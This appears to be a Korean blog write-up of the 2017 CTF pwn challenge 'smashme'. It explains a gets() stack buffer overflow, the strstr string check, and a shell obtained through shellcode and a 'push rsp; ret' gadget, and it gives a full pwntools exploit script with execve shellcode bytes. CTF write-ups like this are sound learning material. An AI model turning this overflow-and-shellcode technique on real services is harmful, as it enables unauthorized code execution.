smashme는 간단하게 gets를 이용한 bof로 이루어져 있다.
문제는 sub_400320의 return 값을 0이아닌 값으로 만들어 줘야 한다.
sub_400320안으로 들어가면 점프를 하는데 그곳을 추적해보니 어떤 함수의 plt 였다.
디버깅을 해서 알아보니 __strstr_see2 함수 였고 이것은 두개의 인자를 비교하는 함수이다.
인자는 내가 gets로 받은 값과 어느 data값이 였고 저 값을 넣으니 BOF가 성공할 수 있었다.
nx가 돌아가지 않아서 쉘코드를 넣은 뒤 push rsp ; ret 가젯을 이용해서 쉽게 쉘을 얻을 수 있었다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | #!/usr/bin/env python # powerprove from pwn import * s = remote("localhost", 4000) if __name__ == "__main__": payload = "Smash me outside, how bout dAAAAAAAAAAA " payload += "BBBBBBBB"*4 payload += p64(0x000000000044611d) # push rsp ; ret shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" payload += shellcode s.sendline(payload) s.interactive() | cs |
'CTF > 2017' 카테고리의 다른 글
허스트 CTF pwn write up (0) | 2017.05.31 |
---|---|
DEFCON_2017 beatmeonthedl (0) | 2017.05.07 |
[codegate final] petshop (0) | 2017.04.28 |
codegate 2017 - messenger write up (0) | 2017.04.05 |
codegate 2017 - babypwn write up (0) | 2017.04.05 |